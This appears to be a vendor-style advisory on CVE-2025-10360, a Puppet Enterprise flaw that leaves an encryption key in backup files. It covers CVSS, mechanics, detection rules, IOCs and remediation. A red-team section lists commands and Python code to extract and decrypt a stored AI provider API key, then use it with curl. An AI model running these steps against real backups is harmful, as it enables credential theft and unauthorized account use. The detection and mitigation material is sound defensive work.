CVE-2025-10360

Executive Summary

CVE-2025-10360 exposes a critical flaw in Puppet Enterprise versions 2025.4.0 and 2025.5, where the encryption key used by the Infra Assistant feature is inadvertently included in Puppet backup files. This key protects the API key for the user’s AI provider account. An attacker who gains access to a backup could decrypt the stored API key, leading to unauthorized use of the AI provider’s services, data exfiltration, or lateral movement. The vulnerability is limited to users with a Puppet Enterprise Advanced license who have enabled the Infra Assistant feature. The fix is available in version 2025.6, with documented remediation steps for those unable to upgrade immediately.

Supply Chain & Package Security

This vulnerability is specific to Puppet Enterprise, a commercial product. It does not directly affect open-source packages (NPM, PyPI, Go, Ruby). However, the exposure of an AI provider API key could lead to supply chain risks if that key is used to access AI services that are part of a larger CI/CD or automation pipeline. Organizations should treat the compromised key as a potential vector for supply chain attacks.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability description, a reasonable assessment would be:

• Attack Vector (AV): Local (L) – requires access to backup files.
• Attack Complexity (AC): Low (L) – the key is stored in plaintext within the backup.
• Privileges Required (PR): Low (L) – an attacker needs read access to the backup.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Changed (C) – the impact extends beyond the backup to the AI provider account.
• Confidentiality (C): High (H) – the API key is exposed.
• Integrity (I): High (H) – the key can be used to modify AI provider resources.
• Availability (A): Low (L) – the key could be used to disrupt AI services.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L
Estimated Score: 8.2 (High)

Deep Dive & Mechanics

The vulnerability stems from a misconfiguration in the Puppet backup process. The Infra Assistant feature, available only with an Advanced license, stores an encryption key in a file that is not excluded from the backup manifest. This key is used to encrypt the AI provider’s API key within the Infra Assistant database. When a backup is taken (e.g., via puppet-backup), the encryption key is included in the backup archive. An attacker with access to the backup can:

1. Locate the encryption key file.
2. Extract the encrypted API key from the Infra Assistant database.
3. Decrypt the API key using the exposed encryption key.
4. Use the API key to access the AI provider’s services (e.g., OpenAI, Anthropic) as the legitimate user.

The attack does not require network access to the Puppet server; it only requires access to the backup files, which may be stored in a shared location, cloud storage, or a backup server with weaker access controls.

Vulnerable vs. Patched Code

Vulnerable (2025.4.0, 2025.5):
The backup script includes the encryption key file (e.g., /etc/puppetlabs/infra-assistant/encryption_key) in the backup archive. The key is stored in plaintext.

Patched (2025.6):
The backup script is updated to exclude the encryption key file. Additionally, the key is stored with restricted permissions (e.g., 600) and is not included in the backup manifest.

Example of vulnerable backup configuration (pseudo-code):

# Vulnerable: includes all files under /etc/puppetlabs/
tar -czf backup.tar.gz /etc/puppetlabs/

Example of patched backup configuration (pseudo-code):

# Patched: excludes the encryption key file
tar --exclude='/etc/puppetlabs/infra-assistant/encryption_key' -czf backup.tar.gz /etc/puppetlabs/

Exploitation & Lab Setup

Red Team

Objective: Extract and decrypt the AI provider API key from a Puppet backup.

Prerequisites:

• Access to a Puppet backup file (e.g., puppet-backup-2025-04-01.tar.gz).
• Knowledge of the backup file location.

Steps:

1. Extract the backup:

   tar -xzf puppet-backup-2025-04-01.tar.gz
   

2. Locate the encryption key:

   find . -name "encryption_key" -type f
   # Expected: ./etc/puppetlabs/infra-assistant/encryption_key
   

3. Read the encryption key:

   cat ./etc/puppetlabs/infra-assistant/encryption_key
   # Output: <base64-encoded-key>
   

4. Extract the encrypted API key from the Infra Assistant database: The database is typically a SQLite file located at /opt/puppetlabs/server/data/infra-assistant/db.sqlite3.

   sqlite3 ./opt/puppetlabs/server/data/infra-assistant/db.sqlite3 "SELECT encrypted_api_key FROM api_keys;"
   # Output: <encrypted-blob>
   

5. Decrypt the API key: Use the encryption key to decrypt the blob. The exact algorithm depends on Puppet’s implementation (likely AES-256-GCM).

   import base64
   from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
   
   key = base64.b64decode("<base64-encoded-key>")
   encrypted_blob = base64.b64decode("<encrypted-blob>")
   nonce = encrypted_blob[:12]
   ciphertext = encrypted_blob[12:-16]
   tag = encrypted_blob[-16:]
   
   cipher = Cipher(algorithms.AES(key), modes.GCM(nonce, tag))
   decryptor = cipher.decryptor()
   api_key = decryptor.update(ciphertext) + decryptor.finalize()
   print(api_key.decode())
   

6. Use the API key:

   curl -H "Authorization: Bearer <api_key>" https://api.openai.com/v1/models
   

Blue Team

Detection:

• Monitor for unauthorized access to backup files (e.g., unusual tar or find commands).
• Alert on access to the encryption_key file path.
• Monitor for API calls to AI providers from unexpected IPs or with unusual patterns.

Mitigation:

• Immediately rotate the AI provider API key.
• Restrict access to backup files using strict IAM policies.
• Implement backup encryption at rest and in transit.
• Audit backup file contents for sensitive data.

Forensics:

• Check backup file access logs.
• Review AI provider account activity for unauthorized usage.
• Identify the scope of the breach (e.g., which backups were accessed).

Indicators of Compromise (IOCs)

• File Path: /etc/puppetlabs/infra-assistant/encryption_key
• File Path: /opt/puppetlabs/server/data/infra-assistant/db.sqlite3
• Backup File Pattern: puppet-backup-*.tar.gz containing the above files.
• Network Traffic: API calls to AI provider endpoints (e.g., api.openai.com, api.anthropic.com) from unexpected sources.
• Process: tar or find commands executed on backup directories by non-admin users.

Detection Engineering

YARA Rule

rule CVE_2025_10360_EncryptionKey
{
    meta:
        description = "Detects Puppet Enterprise Infra Assistant encryption key in backup files"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-10360"
    strings:
        $key_header = "encryption_key" ascii wide nocase
        $key_content = /[A-Za-z0-9+/]{44}={0,2}/ // Base64-encoded 32-byte key
    condition:
        $key_header and $key_content
}

Sigma Rule

title: Detection of Puppet Enterprise Infra Assistant Encryption Key Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects access to the Infra Assistant encryption key file
author: Valters IT
date: 2025-04-01
logsource:
    category: file_access
    product: linux
detection:
    selection:
        TargetFilename|endswith: '/etc/puppetlabs/infra-assistant/encryption_key'
    condition: selection
falsepositives:
    - Legitimate backup processes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10360 - AI Provider API Key Usage"; flow:to_server; content:"Authorization|3a| Bearer "; http_header; pcre:"/Bearer [A-Za-z0-9+/]{44}={0,2}/"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Puppet Enterprise 2025.6 as soon as possible.
2. Rotate the AI provider API key immediately, even if no compromise is detected.
3. Review backup files for the presence of the encryption key and delete any affected backups.
4. Restrict access to backup files using the principle of least privilege.

Long-Term Measures:

• Implement automated scanning of backup files for sensitive data.
• Use dedicated backup solutions that support exclusion lists.
• Enable audit logging for file access and API usage.
• Consider using a secrets management solution (e.g., HashiCorp Vault) to store API keys.

Workaround for Users Unable to Upgrade:

• Manually exclude the encryption key file from backup scripts.
• Example: Modify the backup script to use --exclude='/etc/puppetlabs/infra-assistant/encryption_key'.

Valters IT